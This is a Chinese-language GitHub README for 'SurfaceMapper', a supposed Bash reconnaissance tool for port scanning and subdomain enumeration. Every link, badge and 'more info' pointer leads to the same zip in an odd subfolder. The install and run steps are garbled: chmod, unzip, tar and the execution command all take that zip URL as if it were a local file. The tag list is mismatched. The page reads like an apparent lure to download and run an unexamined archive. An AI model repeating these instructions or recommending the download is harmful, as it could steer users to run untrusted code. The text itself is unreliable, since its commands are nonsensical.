mynameisthis1233/SurfaceMapper

GitHub: mynameisthis1233/SurfaceMapper

一款基于 Bash 的轻量级攻击面测绘脚本,用于 Web 渗透测试中的端口探测、子域名枚举和基础安全检查。

Stars: 0 | Forks: 0

# 🛰️ SurfaceMapper - 简单的漏洞搜寻工具 [![下载 SurfaceMapper](https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip)](https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip) ## 📝 什么是 SurfaceMapper? SurfaceMapper 是一款旨在帮助您发现和探索网站安全弱点的工具。它使用自动化脚本来收集有关目标的信息。这个过程在网络安全领域被称为侦察或“recon”。该工具主要面向那些希望以安全方式发现安全问题的人,例如漏洞赏金猎人、安全测试人员或任何正在学习 Web 安全的人。 SurfaceMapper 通过简单的命令运行,并自动收集诸如开放端口、暴露服务和网站详细信息等信息。它提供了一个清晰的概览,显示网站可能存在的需要修复的薄弱环节。 ## 🔎 为什么要使用 SurfaceMapper? 如果您想检查网站的安全性,SurfaceMapper 可以通过以下方式提供帮助: - 无需您逐一输入,即可自动运行多项检查。 - 快速收集有关网站的重要数据。 - 以简单的方式显示技术信息。 - 仅通过一个工具即可支持许多常见的安全测试任务。 您无需成为专家即可使用此工具。SurfaceMapper 使用一种称为 Bash 的语言编写的脚本,该语言可在大多数计算机上运行,包括 Linux 和 Mac。经过额外设置后,它也可以在 Windows 上运行。 ## 💻 系统要求 要使用 SurfaceMapper,您的计算机需要满足以下条件: - 操作系统: - Linux(Ubuntu、Debian、Fedora 等) - macOS(支持最新的两个版本) - 安装了 Windows Subsystem for Linux (WSL) 的 Windows 10 或更高版本 - 至少 2 GB 的可用内存 (RAM) - 至少 100 MB 的可用磁盘空间,用于存放工具及其结果 - 互联网连接,以下载软件和更新 SurfaceMapper 使用安装在您系统上的免费开源工具。这些包括: - Bash shell(用于命令脚本) - 常用的网络工具,如 `nmap` 和 `curl` - 某些扫描可能需要 Python 3 如果缺少这些工具,下方的 README 包含安装步骤。 ## 📥 下载并安装 SurfaceMapper 要安装 SurfaceMapper,请先从官方发布页面下载最新版本: **访问此页面下载:** [https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip](https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip) ### 步骤 1:下载软件 1. 点击上方链接或顶部的大蓝色按钮。 2. 查找最新的发布版本(将显示日期和版本号)。 3. 下载以 `.zip`、`https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip` 或类似压缩文件类型结尾的 ZIP 文件或 tarball。 4. 将此文件保存在容易找到的地方,例如您的桌面或下载文件夹。 ### 步骤 2:准备您的系统 在运行 SurfaceMapper 之前,请确保您的系统已安装所需的软件。 #### 在 Linux 或 macOS 上 - 打开终端 (Terminal) 应用程序。 - 通过输入以下命令检查 `bash` 是否已安装: bash --version - 通过输入以下命令检查 `nmap` 是否已安装: nmap --version - 如果缺少工具,请使用系统的包管理器进行安装: - 在 Ubuntu 或 Debian 上: sudo apt update sudo apt install bash nmap curl - 在 Fedora 上: sudo dnf install bash nmap curl - 在 macOS 上(使用 Homebrew): brew install nmap curl #### 在 Windows 上 SurfaceMapper 使用的 Bash 脚本无法在 Windows 命令提示符上原生运行。您需要安装 Windows Subsystem for Linux (WSL) 和 Linux 发行版(例如 Ubuntu)。 - 以管理员身份打开 PowerShell。 - 运行以下命令以启用 WSL: wsl --install - 如果出现提示,请重新启动计算机。 - 重启后,打开 Microsoft Store 并安装 Ubuntu。 - 打开您的新 Ubuntu 终端,并按照上面的 Linux 说明安装所需的工具。 ### 步骤 3:解压下载的文件 - 找到您下载的 ZIP 或 tar 文件。 - 右键单击并选择“Extract All(全部提取)”,或使用命令: - 对于 Linux/macOS 上的 ZIP 文件: unzip https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip - 对于 tarballs: tar -xvzf https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip - 解压后的文件夹将包含 SurfaceMapper 程序文件。 ### 步骤 4:运行 SurfaceMapper - 打开您的终端或 WSL 终端。 - 切换目录到 SurfaceMapper 解压的位置: cd /path/to/SurfaceMapper - 赋予主脚本可执行权限: chmod +x https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip - 通过输入以下命令运行脚本: https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip SurfaceMapper 将开始运行自动化扫描,以收集有关您目标的信息。 ## 🛠️ 如何使用 SurfaceMapper ### 基本用法 SurfaceMapper 通过运行扫描网站和网络的命令或询问相关问题来工作。脚本会引导您选择要检查的内容。它会要求输入网站地址或网络 IP。 示例: ``` https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip ``` 然后在提示时输入域名或 IP。 ### 工具能发现什么 SurfaceMapper 收集如下信息: - 目标计算机或服务器上的开放端口 - 在这些端口上运行的服务(如 Web 服务器、数据库) - 网站信息和标头详细信息 - 子域名和相关网址 - 已知的安全问题或漏洞 所有这些都会保存在文件中或显示在终端输出中,以便您查看。 ## 🔧 功能特性 SurfaceMapper 包含几个有用的功能: - 使用 `nmap` 进行自动化端口扫描 - 子域名发现和枚举 - HTTP 标头检查 - 针对常见来源的快速漏洞检查 - Bash 脚本配置,便于更新 - 输出报告为简单的文本文件 如果您经验丰富,该工具允许您自定义扫描。 ## 👩‍💻 成功使用的小贴士 - 确保您已获得测试网站或网络的许可。 - 仅在您自己的系统上或获得明确批准的情况下使用 SurfaceMapper。 - 在具有稳定互联网连接的终端窗口中运行该工具。 - 定期保存结果以避免数据丢失。 - 仔细阅读输出以理解发现的内容。 - 通过从发布页面下载新版本来保持工具更新。 ## 🆘 故障排除 **问题:运行脚本时提示“Permission denied(权限被拒绝)”** 通过设置执行权限来修复: ``` chmod +x https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip ``` **问题:找不到命令 `nmap`** 按照安装步骤中所示安装 nmap。 **问题:脚本无法启动** 请检查您是否位于正确的文件夹中,并且输入的命令完全正确。 ## 📄 许可证和贡献 SurfaceMapper 是开源的。您可以共享、更改和改进脚本。有关详细信息,请查看下载中的 LICENSE 文件。 如果您想提出改进建议或报告问题,请在 GitHub 仓库页面上开启一个 issue。 ## 🌐 更多信息 在 GitHub 仓库中查找有关 SurfaceMapper 的更新、文档和社区讨论: [https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip](https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip) [![下载 SurfaceMapper](https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip)](https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip)
标签:Bug Bounty, Web安全, 侦察工具, 可自定义解析器, 子域名枚举, 实时处理, 密码管理, 应用安全, 批量查询, 插件系统, 攻击面测绘, 数据统计, 白帽子工具, 端口扫描, 系统安全, 网络安全, 蓝队分析, 资产探测, 路径发现, 配置审计, 隐私保护